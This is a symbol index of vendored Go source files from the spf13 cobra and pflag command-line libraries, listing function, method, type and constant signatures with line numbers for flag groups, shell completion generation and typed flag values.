FILE: vendor/github.com/spf13/cobra/flag_groups.go
  constant requiredAsGroup (line 25) | requiredAsGroup   = "cobra_annotation_required_if_others_set"
  constant mutuallyExclusive (line 26) | mutuallyExclusive = "cobra_annotation_mutually_exclusive"
  method MarkFlagsRequiredTogether (line 31) | func (c *Command) MarkFlagsRequiredTogether(flagNames ...string) {
  method MarkFlagsMutuallyExclusive (line 47) | func (c *Command) MarkFlagsMutuallyExclusive(flagNames ...string) {
  method validateFlagGroups (line 63) | func (c *Command) validateFlagGroups() error {
  function hasAllFlags (line 88) | func hasAllFlags(fs *flag.FlagSet, flagnames ...string) bool {
  function processFlagForGroupAnnotation (line 98) | func processFlagForGroupAnnotation(flags *flag.FlagSet, pflag *flag.Flag...
  function validateRequiredFlagGroups (line 121) | func validateRequiredFlagGroups(data map[string]map[string]bool) error {
  function validateExclusiveFlagGroups (line 144) | func validateExclusiveFlagGroups(data map[string]map[string]bool) error {
  function sortedKeys (line 165) | func sortedKeys(m map[string]map[string]bool) []string {
  method enforceFlagGroupsForCompletion (line 180) | func (c *Command) enforceFlagGroupsForCompletion() {

FILE: vendor/github.com/spf13/cobra/powershell_completions.go
  function genPowerShellComp (line 13) | func genPowerShellComp(buf io.StringWriter, name string, includeDesc boo...
  method genPowerShellCompletion (line 251) | func (c *Command) genPowerShellCompletion(w io.Writer, includeDesc bool)...
  method genPowerShellCompletionFile (line 258) | func (c *Command) genPowerShellCompletionFile(filename string, includeDe...
  method GenPowerShellCompletionFile (line 269) | func (c *Command) GenPowerShellCompletionFile(filename string) error {
  method GenPowerShellCompletion (line 275) | func (c *Command) GenPowerShellCompletion(w io.Writer) error {
  method GenPowerShellCompletionFileWithDesc (line 280) | func (c *Command) GenPowerShellCompletionFileWithDesc(filename string) e...
  method GenPowerShellCompletionWithDesc (line 286) | func (c *Command) GenPowerShellCompletionWithDesc(w io.Writer) error {

FILE: vendor/github.com/spf13/cobra/shell_completions.go
  method MarkFlagRequired (line 10) | func (c *Command) MarkFlagRequired(name string) error {
  method MarkPersistentFlagRequired (line 17) | func (c *Command) MarkPersistentFlagRequired(name string) error {
  function MarkFlagRequired (line 24) | func MarkFlagRequired(flags *pflag.FlagSet, name string) error {
  method MarkFlagFilename (line 30) | func (c *Command) MarkFlagFilename(name string, extensions ...string) er...
  method MarkFlagCustom (line 40) | func (c *Command) MarkFlagCustom(name string, f string) error {
  method MarkPersistentFlagFilename (line 47) | func (c *Command) MarkPersistentFlagFilename(name string, extensions ......
  function MarkFlagFilename (line 53) | func MarkFlagFilename(flags *pflag.FlagSet, name string, extensions ...s...
  function MarkFlagCustom (line 63) | func MarkFlagCustom(flags *pflag.FlagSet, name string, f string) error {
  method MarkFlagDirname (line 69) | func (c *Command) MarkFlagDirname(name string) error {
  method MarkPersistentFlagDirname (line 76) | func (c *Command) MarkPersistentFlagDirname(name string) error {
  function MarkFlagDirname (line 82) | func MarkFlagDirname(flags *pflag.FlagSet, name string) error {

FILE: vendor/github.com/spf13/cobra/zsh_completions.go
  method GenZshCompletionFile (line 11) | func (c *Command) GenZshCompletionFile(filename string) error {
  method GenZshCompletion (line 17) | func (c *Command) GenZshCompletion(w io.Writer) error {
  method GenZshCompletionFileNoDesc (line 22) | func (c *Command) GenZshCompletionFileNoDesc(filename string) error {
  method GenZshCompletionNoDesc (line 28) | func (c *Command) GenZshCompletionNoDesc(w io.Writer) error {
  method MarkZshCompPositionalArgumentFile (line 41) | func (c *Command) MarkZshCompPositionalArgumentFile(argPosition int, pat...
  method MarkZshCompPositionalArgumentWords (line 52) | func (c *Command) MarkZshCompPositionalArgumentWords(argPosition int, wo...
  method genZshCompletionFile (line 56) | func (c *Command) genZshCompletionFile(filename string, includeDesc bool...
  method genZshCompletion (line 66) | func (c *Command) genZshCompletion(w io.Writer, includeDesc bool) error {
  function genZshComp (line 73) | func genZshComp(buf io.StringWriter, name string, includeDesc bool) {

FILE: vendor/github.com/spf13/pflag/bool.go
  type boolFlag (line 7) | type boolFlag interface
  type boolValue (line 13) | type boolValue
    method Set (line 20) | func (b *boolValue) Set(s string) error {
    method Type (line 26) | func (b *boolValue) Type() string {
    method String (line 30) | func (b *boolValue) String() string { return strconv.FormatBool(bool(*...
    method IsBoolFlag (line 32) | func (b *boolValue) IsBoolFlag() bool { return true }
  function newBoolValue (line 15) | func newBoolValue(val bool, p *bool) *boolValue {
  function boolConv (line 34) | func boolConv(sval string) (interface{}, error) {
  method GetBool (line 39) | func (f *FlagSet) GetBool(name string) (bool, error) {
  method BoolVar (line 49) | func (f *FlagSet) BoolVar(p *bool, name string, value bool, usage string) {
  method BoolVarP (line 54) | func (f *FlagSet) BoolVarP(p *bool, name, shorthand string, value bool, ...
  function BoolVar (line 61) | func BoolVar(p *bool, name string, value bool, usage string) {
  function BoolVarP (line 66) | func BoolVarP(p *bool, name, shorthand string, value bool, usage string) {
  method Bool (line 73) | func (f *FlagSet) Bool(name string, value bool, usage string) *bool {
  method BoolP (line 78) | func (f *FlagSet) BoolP(name, shorthand string, value bool, usage string...
  function Bool (line 86) | func Bool(name string, value bool, usage string) *bool {
  function BoolP (line 91) | func BoolP(name, shorthand string, value bool, usage string) *bool {

FILE: vendor/github.com/spf13/pflag/bool_slice.go
  type boolSliceValue (line 10) | type boolSliceValue struct
    method Set (line 24) | func (s *boolSliceValue) Set(val string) error {
    method Type (line 57) | func (s *boolSliceValue) Type() string {
    method String (line 62) | func (s *boolSliceValue) String() string {
    method fromString (line 74) | func (s *boolSliceValue) fromString(val string) (bool, error) {
    method toString (line 78) | func (s *boolSliceValue) toString(val bool) string {
    method Append (line 82) | func (s *boolSliceValue) Append(val string) error {
    method Replace (line 91) | func (s *boolSliceValue) Replace(val []string) error {
    method GetSlice (line 104) | func (s *boolSliceValue) GetSlice() []string {
  function newBoolSliceValue (line 15) | func newBoolSliceValue(val []bool, p *[]bool) *boolSliceValue {
  function boolSliceConv (line 112) | func boolSliceConv(val string) (interface{}, error) {
  method GetBoolSlice (line 131) | func (f *FlagSet) GetBoolSlice(name string) ([]bool, error) {
  method BoolSliceVar (line 141) | func (f *FlagSet) BoolSliceVar(p *[]bool, name string, value []bool, usa...
  method BoolSliceVarP (line 146) | func (f *FlagSet) BoolSliceVarP(p *[]bool, name, shorthand string, value...
  function BoolSliceVar (line 152) | func BoolSliceVar(p *[]bool, name string, value []bool, usage string) {
  function BoolSliceVarP (line 157) | func BoolSliceVarP(p *[]bool, name, shorthand string, value []bool, usag...
  method BoolSlice (line 163) | func (f *FlagSet) BoolSlice(name string, value []bool, usage string) *[]...
  method BoolSliceP (line 170) | func (f *FlagSet) BoolSliceP(name, shorthand string, value []bool, usage...
  function BoolSlice (line 178) | func BoolSlice(name string, value []bool, usage string) *[]bool {
  function BoolSliceP (line 183) | func BoolSliceP(name, shorthand string, value []bool, usage string) *[]b...

FILE: vendor/github.com/spf13/pflag/bytes.go
  type bytesHexValue (line 11) | type bytesHexValue
    method String (line 14) | func (bytesHex bytesHexValue) String() string {
    method Set (line 19) | func (bytesHex *bytesHexValue) Set(value string) error {
    method Type (line 32) | func (*bytesHexValue) Type() string {
  function newBytesHexValue (line 36) | func newBytesHexValue(val []byte, p *[]byte) *bytesHexValue {
  function bytesHexConv (line 41) | func bytesHexConv(sval string) (interface{}, error) {
  method GetBytesHex (line 53) | func (f *FlagSet) GetBytesHex(name string) ([]byte, error) {
  method BytesHexVar (line 65) | func (f *FlagSet) BytesHexVar(p *[]byte, name string, value []byte, usag...
  method BytesHexVarP (line 70) | func (f *FlagSet) BytesHexVarP(p *[]byte, name, shorthand string, value ...
  function BytesHexVar (line 76) | func BytesHexVar(p *[]byte, name string, value []byte, usage string) {
  function BytesHexVarP (line 81) | func BytesHexVarP(p *[]byte, name, shorthand string, value []byte, usage...
  method BytesHex (line 87) | func (f *FlagSet) BytesHex(name string, value []byte, usage string) *[]b...
  method BytesHexP (line 94) | func (f *FlagSet) BytesHexP(name, shorthand string, value []byte, usage ...
  function BytesHex (line 102) | func BytesHex(name string, value []byte, usage string) *[]byte {
  function BytesHexP (line 107) | func BytesHexP(name, shorthand string, value []byte, usage string) *[]by...
  type bytesBase64Value (line 112) | type bytesBase64Value
    method String (line 115) | func (bytesBase64 bytesBase64Value) String() string {
    method Set (line 120) | func (bytesBase64 *bytesBase64Value) Set(value string) error {
    method Type (line 133) | func (*bytesBase64Value) Type() string {
  function newBytesBase64Value (line 137) | func newBytesBase64Value(val []byte, p *[]byte) *bytesBase64Value {
  function bytesBase64ValueConv (line 142) | func bytesBase64ValueConv(sval string) (interface{}, error) {
  method GetBytesBase64 (line 153) | func (f *FlagSet) GetBytesBase64(name string) ([]byte, error) {
  method BytesBase64Var (line 165) | func (f *FlagSet) BytesBase64Var(p *[]byte, name string, value []byte, u...
  method BytesBase64VarP (line 170) | func (f *FlagSet) BytesBase64VarP(p *[]byte, name, shorthand string, val...
  function BytesBase64Var (line 176) | func BytesBase64Var(p *[]byte, name string, value []byte, usage string) {
  function BytesBase64VarP (line 181) | func BytesBase64VarP(p *[]byte, name, shorthand string, value []byte, us...
  method BytesBase64 (line 187) | func (f *FlagSet) BytesBase64(name string, value []byte, usage string) *...
  method BytesBase64P (line 194) | func (f *FlagSet) BytesBase64P(name, shorthand string, value []byte, usa...
  function BytesBase64 (line 202) | func BytesBase64(name string, value []byte, usage string) *[]byte {
  function BytesBase64P (line 207) | func BytesBase64P(name, shorthand string, value []byte, usage string) *[...

FILE: vendor/github.com/spf13/pflag/count.go
  type countValue (line 6) | type countValue
    method Set (line 13) | func (i *countValue) Set(s string) error {
    method Type (line 24) | func (i *countValue) Type() string {
    method String (line 28) | func (i *countValue) String() string { return strconv.Itoa(int(*i)) }
  function newCountValue (line 8) | func newCountValue(val int, p *int) *countValue {
  function countConv (line 30) | func countConv(sval string) (interface{}, error) {
  method GetCount (line 39) | func (f *FlagSet) GetCount(name string) (int, error) {
  method CountVar (line 50) | func (f *FlagSet) CountVar(p *int, name string, usage string) {
  method CountVarP (line 55) | func (f *FlagSet) CountVarP(p *int, name, shorthand string, usage string) {
  function CountVar (line 61) | func CountVar(p *int, name string, usage string) {
  function CountVarP (line 66) | func CountVarP(p *int, name, shorthand string, usage string) {
  method Count (line 73) | func (f *FlagSet) Count(name string, usage string) *int {
  method CountP (line 80) | func (f *FlagSet) CountP(name, shorthand string, usage string) *int {
  function Count (line 89) | func Count(name string, usage string) *int {
  function CountP (line 94) | func CountP(name, shorthand string, usage string) *int {

FILE: vendor/github.com/spf13/pflag/duration.go
  type durationValue (line 8) | type durationValue
    method Set (line 15) | func (d *durationValue) Set(s string) error {
    method Type (line 21) | func (d *durationValue) Type() string {
    method String (line 25) | func (d *durationValue) String() string { return (*time.Duration)(d).S...
  function newDurationValue (line 10) | func newDurationValue(val time.Duration, p *time.Duration) *durationValue {
  function durationConv (line 27) | func durationConv(sval string) (interface{}, error) {
  method GetDuration (line 32) | func (f *FlagSet) GetDuration(name string) (time.Duration, error) {
  method DurationVar (line 42) | func (f *FlagSet) DurationVar(p *time.Duration, name string, value time....
  method DurationVarP (line 47) | func (f *FlagSet) DurationVarP(p *time.Duration, name, shorthand string,...
  function DurationVar (line 53) | func DurationVar(p *time.Duration, name string, value time.Duration, usa...
  function DurationVarP (line 58) | func DurationVarP(p *time.Duration, name, shorthand string, value time.D...
  method Duration (line 64) | func (f *FlagSet) Duration(name string, value time.Duration, usage strin...
  method DurationP (line 71) | func (f *FlagSet) DurationP(name, shorthand string, value time.Duration,...
  function Duration (line 79) | func Duration(name string, value time.Duration, usage string) *time.Dura...
  function DurationP (line 84) | func DurationP(name, shorthand string, value time.Duration, usage string...

FILE: vendor/github.com/spf13/pflag/duration_slice.go
  type durationSliceValue (line 10) | type durationSliceValue struct
    method Set (line 22) | func (s *durationSliceValue) Set(val string) error {
    method Type (line 42) | func (s *durationSliceValue) Type() string {
    method String (line 46) | func (s *durationSliceValue) String() string {
    method fromString (line 54) | func (s *durationSliceValue) fromString(val string) (time.Duration, er...
    method toString (line 58) | func (s *durationSliceValue) toString(val time.Duration) string {
    method Append (line 62) | func (s *durationSliceValue) Append(val string) error {
    method Replace (line 71) | func (s *durationSliceValue) Replace(val []string) error {
    method GetSlice (line 84) | func (s *durationSliceValue) GetSlice() []string {
  function newDurationSliceValue (line 15) | func newDurationSliceValue(val []time.Duration, p *[]time.Duration) *dur...
  function durationSliceConv (line 92) | func durationSliceConv(val string) (interface{}, error) {
  method GetDurationSlice (line 112) | func (f *FlagSet) GetDurationSlice(name string) ([]time.Duration, error) {
  method DurationSliceVar (line 122) | func (f *FlagSet) DurationSliceVar(p *[]time.Duration, name string, valu...
  method DurationSliceVarP (line 127) | func (f *FlagSet) DurationSliceVarP(p *[]time.Duration, name, shorthand ...
  function DurationSliceVar (line 133) | func DurationSliceVar(p *[]time.Duration, name string, value []time.Dura...
  function DurationSliceVarP (line 138) | func DurationSliceVarP(p *[]time.Duration, name, shorthand string, value...
  method DurationSlice (line 144) | func (f *FlagSet) DurationSlice(name string, value []time.Duration, usag...
  method DurationSliceP (line 151) | func (f *FlagSet) DurationSliceP(name, shorthand string, value []time.Du...
  function DurationSlice (line 159) | func DurationSlice(name string, value []time.Duration, usage string) *[]...
  function DurationSliceP (line 164) | func DurationSliceP(name, shorthand string, value []time.Duration, usage...

FILE: vendor/github.com/spf13/pflag/flag.go
  type ErrorHandling (line 116) | type ErrorHandling
  constant ContinueOnError (line 120) | ContinueOnError ErrorHandling = iota
  constant ExitOnError (line 122) | ExitOnError
  constant PanicOnError (line 124) | PanicOnError
  type ParseErrorsWhitelist (line 128) | type ParseErrorsWhitelist struct
  type NormalizedName (line 135) | type NormalizedName
  type FlagSet (line 138) | type FlagSet struct
    method SetNormalizeFunc (line 226) | func (f *FlagSet) SetNormalizeFunc(n func(f *FlagSet, name string) Nor...
    method GetNormalizeFunc (line 246) | func (f *FlagSet) GetNormalizeFunc() func(f *FlagSet, name string) Nor...
    method normalizeFlagName (line 253) | func (f *FlagSet) normalizeFlagName(name string) NormalizedName {
    method out (line 258) | func (f *FlagSet) out() io.Writer {
    method SetOutput (line 267) | func (f *FlagSet) SetOutput(output io.Writer) {
    method VisitAll (line 274) | func (f *FlagSet) VisitAll(fn func(*Flag)) {
    method HasFlags (line 295) | func (f *FlagSet) HasFlags() bool {
    method HasAvailableFlags (line 301) | func (f *FlagSet) HasAvailableFlags() bool {
    method Visit (line 320) | func (f *FlagSet) Visit(fn func(*Flag)) {
    method Lookup (line 348) | func (f *FlagSet) Lookup(name string) *Flag {
    method ShorthandLookup (line 355) | func (f *FlagSet) ShorthandLookup(name string) *Flag {
    method lookup (line 369) | func (f *FlagSet) lookup(name NormalizedName) *Flag {
    method getFlagType (line 374) | func (f *FlagSet) getFlagType(name string, ftype string, convFunc func...
    method ArgsLenAtDash (line 397) | func (f *FlagSet) ArgsLenAtDash() int {
    method MarkDeprecated (line 404) | func (f *FlagSet) MarkDeprecated(name string, usageMessage string) err...
    method MarkShorthandDeprecated (line 420) | func (f *FlagSet) MarkShorthandDeprecated(name string, usageMessage st...
    method MarkHidden (line 434) | func (f *FlagSet) MarkHidden(name string) error {
    method Set (line 456) | func (f *FlagSet) Set(name, value string) error {
    method SetAnnotation (line 493) | func (f *FlagSet) SetAnnotation(name, key string, values []string) err...
    method Changed (line 508) | func (f *FlagSet) Changed(name string) bool {
    method PrintDefaults (line 524) | func (f *FlagSet) PrintDefaults() {
    method FlagUsagesWrapped (line 677) | func (f *FlagSet) FlagUsagesWrapped(cols int) string {
    method FlagUsages (line 750) | func (f *FlagSet) FlagUsages() string {
    method NFlag (line 779) | func (f *FlagSet) NFlag() int { return len(f.actual) }
    method Arg (line 786) | func (f *FlagSet) Arg(i int) string {
    method NArg (line 800) | func (f *FlagSet) NArg() int { return len(f.args) }
    method Args (line 806) | func (f *FlagSet) Args() []string { return f.args }
    method Var (line 817) | func (f *FlagSet) Var(value Value, name string, usage string) {
    method VarPF (line 822) | func (f *FlagSet) VarPF(value Value, name, shorthand, usage string) *F...
    method VarP (line 836) | func (f *FlagSet) VarP(value Value, name, shorthand, usage string) {
    method AddFlag (line 841) | func (f *FlagSet) AddFlag(flag *Flag) {
    method AddFlagSet (line 881) | func (f *FlagSet) AddFlagSet(newSet *FlagSet) {
    method failf (line 909) | func (f *FlagSet) failf(format string, a ...interface{}) error {
    method usage (line 920) | func (f *FlagSet) usage() {
    method parseLongArg (line 952) | func (f *FlagSet) parseLongArg(s string, args []string, fn parseFunc) ...
    method parseSingleShortArg (line 1007) | func (f *FlagSet) parseSingleShortArg(shorthands string, args []string...
    method parseShortArg (line 1073) | func (f *FlagSet) parseShortArg(s string, args []string, fn parseFunc)...
    method parseArgs (line 1088) | func (f *FlagSet) parseArgs(args []string, fn parseFunc) (err error) {
    method Parse (line 1123) | func (f *FlagSet) Parse(arguments []string) error {
    method ParseAll (line 1163) | func (f *FlagSet) ParseAll(arguments []string, fn func(flag *Flag, val...
    method Parsed (line 1182) | func (f *FlagSet) Parsed() bool {
    method SetInterspersed (line 1228) | func (f *FlagSet) SetInterspersed(interspersed bool) {
    method Init (line 1235) | func (f *FlagSet) Init(name string, errorHandling ErrorHandling) {
  type Flag (line 171) | type Flag struct
    method defaultIsZeroValue (line 531) | func (f *Flag) defaultIsZeroValue() bool {
  type Value (line 187) | type Value interface
  type SliceValue (line 196) | type SliceValue interface
  function sortFlags (line 206) | func sortFlags(flags map[NormalizedName]*Flag) []*Flag {
  function VisitAll (line 313) | func VisitAll(fn func(*Flag)) {
  function Visit (line 343) | func Visit(fn func(*Flag)) {
  function Lookup (line 445) | func Lookup(name string) *Flag {
  function ShorthandLookup (line 451) | func ShorthandLookup(name string) *Flag {
  function Set (line 518) | func Set(name, value string) error {
  function UnquoteUsage (line 566) | func UnquoteUsage(flag *Flag) (name string, usage string) {
  function wrapN (line 609) | func wrapN(i, slop int, s string) (string, string) {
  function wrap (line 628) | func wrap(i, w int, s string) string {
  function PrintDefaults (line 755) | func PrintDefaults() {
  function defaultUsage (line 760) | func defaultUsage(f *FlagSet) {
  function NFlag (line 782) | func NFlag() int { return len(CommandLine.actual) }
  function Arg (line 795) | func Arg(i int) string {
  function NArg (line 803) | func NArg() int { return len(CommandLine.args) }
  function Args (line 809) | func Args() []string { return CommandLine.args }
  function Var (line 898) | func Var(value Value, name string, usage string) {
  function VarP (line 903) | func VarP(value Value, name, shorthand, usage string) {
  function stripUnknownFlagValue (line 933) | func stripUnknownFlagValue(args []string) []string {
  type parseFunc (line 1156) | type parseFunc
  function Parse (line 1188) | func Parse() {
  function ParseAll (line 1196) | func ParseAll(fn func(flag *Flag, value string) error) {
  function SetInterspersed (line 1202) | func SetInterspersed(interspersed bool) {
  function Parsed (line 1207) | func Parsed() bool {
  function NewFlagSet (line 1216) | func NewFlagSet(name string, errorHandling ErrorHandling) *FlagSet {

FILE: vendor/github.com/spf13/pflag/float32.go
  type float32Value (line 6) | type float32Value
    method Set (line 13) | func (f *float32Value) Set(s string) error {
    method Type (line 19) | func (f *float32Value) Type() string {
    method String (line 23) | func (f *float32Value) String() string { return strconv.FormatFloat(fl...
  function newFloat32Value (line 8) | func newFloat32Value(val float32, p *float32) *float32Value {
  function float32Conv (line 25) | func float32Conv(sval string) (interface{}, error) {
  method GetFloat32 (line 34) | func (f *FlagSet) GetFloat32(name string) (float32, error) {
  method Float32Var (line 44) | func (f *FlagSet) Float32Var(p *float32, name string, value float32, usa...
  method Float32VarP (line 49) | func (f *FlagSet) Float32VarP(p *float32, name, shorthand string, value ...
  function Float32Var (line 55) | func Float32Var(p *float32, name string, value float32, usage string) {
  function Float32VarP (line 60) | func Float32VarP(p *float32, name, shorthand string, value float32, usag...
  method Float32 (line 66) | func (f *FlagSet) Float32(name string, value float32, usage string) *flo...
  method Float32P (line 73) | func (f *FlagSet) Float32P(name, shorthand string, value float32, usage ...
  function Float32 (line 81) | func Float32(name string, value float32, usage string) *float32 {
  function Float32P (line 86) | func Float32P(name, shorthand string, value float32, usage string) *floa...

FILE: vendor/github.com/spf13/pflag/float32_slice.go
  type float32SliceValue (line 10) | type float32SliceValue struct
    method Set (line 22) | func (s *float32SliceValue) Set(val string) error {
    method Type (line 44) | func (s *float32SliceValue) Type() string {
    method String (line 48) | func (s *float32SliceValue) String() string {
    method fromString (line 56) | func (s *float32SliceValue) fromString(val string) (float32, error) {
    method toString (line 64) | func (s *float32SliceValue) toString(val float32) string {
    method Append (line 68) | func (s *float32SliceValue) Append(val string) error {
    method Replace (line 77) | func (s *float32SliceValue) Replace(val []string) error {
    method GetSlice (line 90) | func (s *float32SliceValue) GetSlice() []string {
  function newFloat32SliceValue (line 15) | func newFloat32SliceValue(val []float32, p *[]float32) *float32SliceValue {
  function float32SliceConv (line 98) | func float32SliceConv(val string) (interface{}, error) {
  method GetFloat32Slice (line 120) | func (f *FlagSet) GetFloat32Slice(name string) ([]float32, error) {
  method Float32SliceVar (line 130) | func (f *FlagSet) Float32SliceVar(p *[]float32, name string, value []flo...
  method Float32SliceVarP (line 135) | func (f *FlagSet) Float32SliceVarP(p *[]float32, name, shorthand string,...
  function Float32SliceVar (line 141) | func Float32SliceVar(p *[]float32, name string, value []float32, usage s...
  function Float32SliceVarP (line 146) | func Float32SliceVarP(p *[]float32, name, shorthand string, value []floa...
  method Float32Slice (line 152) | func (f *FlagSet) Float32Slice(name string, value []float32, usage strin...
  method Float32SliceP (line 159) | func (f *FlagSet) Float32SliceP(name, shorthand string, value []float32,...
  function Float32Slice (line 167) | func Float32Slice(name string, value []float32, usage string) *[]float32 {
  function Float32SliceP (line 172) | func Float32SliceP(name, shorthand string, value []float32, usage string...

FILE: vendor/github.com/spf13/pflag/float64.go
  type float64Value (line 6) | type float64Value
    method Set (line 13) | func (f *float64Value) Set(s string) error {
    method Type (line 19) | func (f *float64Value) Type() string {
    method String (line 23) | func (f *float64Value) String() string { return strconv.FormatFloat(fl...
  function newFloat64Value (line 8) | func newFloat64Value(val float64, p *float64) *float64Value {
  function float64Conv (line 25) | func float64Conv(sval string) (interface{}, error) {
  method GetFloat64 (line 30) | func (f *FlagSet) GetFloat64(name string) (float64, error) {
  method Float64Var (line 40) | func (f *FlagSet) Float64Var(p *float64, name string, value float64, usa...
  method Float64VarP (line 45) | func (f *FlagSet) Float64VarP(p *float64, name, shorthand string, value ...
  function Float64Var (line 51) | func Float64Var(p *float64, name string, value float64, usage string) {
  function Float64VarP (line 56) | func Float64VarP(p *float64, name, shorthand string, value float64, usag...
  method Float64 (line 62) | func (f *FlagSet) Float64(name string, value float64, usage string) *flo...
  method Float64P (line 69) | func (f *FlagSet) Float64P(name, shorthand string, value float64, usage ...
  function Float64 (line 77) | func Float64(name string, value float64, usage string) *float64 {
  function Float64P (line 82) | func Float64P(name, shorthand string, value float64, usage string) *floa...

FILE: vendor/github.com/spf13/pflag/float64_slice.go
  type float64SliceValue (line 10) | type float64SliceValue struct
    method Set (line 22) | func (s *float64SliceValue) Set(val string) error {
    method Type (line 42) | func (s *float64SliceValue) Type() string {
    method String (line 46) | func (s *float64SliceValue) String() string {
    method fromString (line 54) | func (s *float64SliceValue) fromString(val string) (float64, error) {
    method toString (line 58) | func (s *float64SliceValue) toString(val float64) string {
    method Append (line 62) | func (s *float64SliceValue) Append(val string) error {
    method Replace (line 71) | func (s *float64SliceValue) Replace(val []string) error {
    method GetSlice (line 84) | func (s *float64SliceValue) GetSlice() []string {
  function newFloat64SliceValue (line 15) | func newFloat64SliceValue(val []float64, p *[]float64) *float64SliceValue {
  function float64SliceConv (line 92) | func float64SliceConv(val string) (interface{}, error) {
  method GetFloat64Slice (line 112) | func (f *FlagSet) GetFloat64Slice(name string) ([]float64, error) {
  method Float64SliceVar (line 122) | func (f *FlagSet) Float64SliceVar(p *[]float64, name string, value []flo...
  method Float64SliceVarP (line 127) | func (f *FlagSet) Float64SliceVarP(p *[]float64, name, shorthand string,...
  function Float64SliceVar (line 133) | func Float64SliceVar(p *[]float64, name string, value []float64, usage s...
  function Float64SliceVarP (line 138) | func Float64SliceVarP(p *[]float64, name, shorthand string, value []floa...
  method Float64Slice (line 144) | func (f *FlagSet) Float64Slice(name string, value []float64, usage strin...
  method Float64SliceP (line 151) | func (f *FlagSet) Float64SliceP(name, shorthand string, value []float64,...
  function Float64Slice (line 159) | func Float64Slice(name string, value []float64, usage string) *[]float64 {
  function Float64SliceP (line 164) | func Float64SliceP(name, shorthand string, value []float64, usage string...

FILE: vendor/github.com/spf13/pflag/golangflag.go
  type flagValueWrapper (line 17) | type flagValueWrapper struct
    method String (line 48) | func (v *flagValueWrapper) String() string {
    method Set (line 52) | func (v *flagValueWrapper) Set(s string) error {
    method Type (line 56) | func (v *flagValueWrapper) Type() string {
  type goBoolFlag (line 24) | type goBoolFlag interface
  function wrapFlagValue (line 29) | func wrapFlagValue(v goflag.Value) Value {
  function PFlagFromGoFlag (line 64) | func PFlagFromGoFlag(goflag *goflag.Flag) *Flag {
  method AddGoFlag (line 85) | func (f *FlagSet) AddGoFlag(goflag *goflag.Flag) {
  method AddGoFlagSet (line 94) | func (f *FlagSet) AddGoFlagSet(newSet *goflag.FlagSet) {

FILE: vendor/github.com/spf13/pflag/int.go
  type intValue (line 6) | type intValue
    method Set (line 13) | func (i *intValue) Set(s string) error {
    method Type (line 19) | func (i *intValue) Type() string {
    method String (line 23) | func (i *intValue) String() string { return strconv.Itoa(int(*i)) }
  function newIntValue (line 8) | func newIntValue(val int, p *int) *intValue {
  function intConv (line 25) | func intConv(sval string) (interface{}, error) {
  method GetInt (line 30) | func (f *FlagSet) GetInt(name string) (int, error) {
  method IntVar (line 40) | func (f *FlagSet) IntVar(p *int, name string, value int, usage string) {
  method IntVarP (line 45) | func (f *FlagSet) IntVarP(p *int, name, shorthand string, value int, usa...
  function IntVar (line 51) | func IntVar(p *int, name string, value int, usage string) {
  function IntVarP (line 56) | func IntVarP(p *int, name, shorthand string, value int, usage string) {
  method Int (line 62) | func (f *FlagSet) Int(name string, value int, usage string) *int {
  method IntP (line 69) | func (f *FlagSet) IntP(name, shorthand string, value int, usage string) ...
  function Int (line 77) | func Int(name string, value int, usage string) *int {
  function IntP (line 82) | func IntP(name, shorthand string, value int, usage string) *int {

FILE: vendor/github.com/spf13/pflag/int16.go
  type int16Value (line 6) | type int16Value
    method Set (line 13) | func (i *int16Value) Set(s string) error {
    method Type (line 19) | func (i *int16Value) Type() string {
    method String (line 23) | func (i *int16Value) String() string { return strconv.FormatInt(int64(...
  function newInt16Value (line 8) | func newInt16Value(val int16, p *int16) *int16Value {
  function int16Conv (line 25) | func int16Conv(sval string) (interface{}, error) {
  method GetInt16 (line 34) | func (f *FlagSet) GetInt16(name string) (int16, error) {
  method Int16Var (line 44) | func (f *FlagSet) Int16Var(p *int16, name string, value int16, usage str...
  method Int16VarP (line 49) | func (f *FlagSet) Int16VarP(p *int16, name, shorthand string, value int1...
  function Int16Var (line 55) | func Int16Var(p *int16, name string, value int16, usage string) {
  function Int16VarP (line 60) | func Int16VarP(p *int16, name, shorthand string, value int16, usage stri...
  method Int16 (line 66) | func (f *FlagSet) Int16(name string, value int16, usage string) *int16 {
  method Int16P (line 73) | func (f *FlagSet) Int16P(name, shorthand string, value int16, usage stri...
  function Int16 (line 81) | func Int16(name string, value int16, usage string) *int16 {
  function Int16P (line 86) | func Int16P(name, shorthand string, value int16, usage string) *int16 {

FILE: vendor/github.com/spf13/pflag/int32.go
  type int32Value (line 6) | type int32Value
    method Set (line 13) | func (i *int32Value) Set(s string) error {
    method Type (line 19) | func (i *int32Value) Type() string {
    method String (line 23) | func (i *int32Value) String() string { return strconv.FormatInt(int64(...
  function newInt32Value (line 8) | func newInt32Value(val int32, p *int32) *int32Value {
  function int32Conv (line 25) | func int32Conv(sval string) (interface{}, error) {
  method GetInt32 (line 34) | func (f *FlagSet) GetInt32(name string) (int32, error) {
  method Int32Var (line 44) | func (f *FlagSet) Int32Var(p *int32, name string, value int32, usage str...
  method Int32VarP (line 49) | func (f *FlagSet) Int32VarP(p *int32, name, shorthand string, value int3...
  function Int32Var (line 55) | func Int32Var(p *int32, name string, value int32, usage string) {
  function Int32VarP (line 60) | func Int32VarP(p *int32, name, shorthand string, value int32, usage stri...
  method Int32 (line 66) | func (f *FlagSet) Int32(name string, value int32, usage string) *int32 {
  method Int32P (line 73) | func (f *FlagSet) Int32P(name, shorthand string, value int32, usage stri...
  function Int32 (line 81) | func Int32(name string, value int32, usage string) *int32 {
  function Int32P (line 86) | func Int32P(name, shorthand string, value int32, usage string) *int32 {

FILE: vendor/github.com/spf13/pflag/int32_slice.go
  type int32SliceValue (line 10) | type int32SliceValue struct
    method Set (line 22) | func (s *int32SliceValue) Set(val string) error {
    method Type (line 44) | func (s *int32SliceValue) Type() string {
    method String (line 48) | func (s *int32SliceValue) String() string {
    method fromString (line 56) | func (s *int32SliceValue) fromString(val string) (int32, error) {
    method toString (line 64) | func (s *int32SliceValue) toString(val int32) string {
    method Append (line 68) | func (s *int32SliceValue) Append(val string) error {
    method Replace (line 77) | func (s *int32SliceValue) Replace(val []string) error {
    method GetSlice (line 90) | func (s *int32SliceValue) GetSlice() []string {
  function newInt32SliceValue (line 15) | func newInt32SliceValue(val []int32, p *[]int32) *int32SliceValue {
  function int32SliceConv (line 98) | func int32SliceConv(val string) (interface{}, error) {
  method GetInt32Slice (line 120) | func (f *FlagSet) GetInt32Slice(name string) ([]int32, error) {
  method Int32SliceVar (line 130) | func (f *FlagSet) Int32SliceVar(p *[]int32, name string, value []int32, ...
  method Int32SliceVarP (line 135) | func (f *FlagSet) Int32SliceVarP(p *[]int32, name, shorthand string, val...
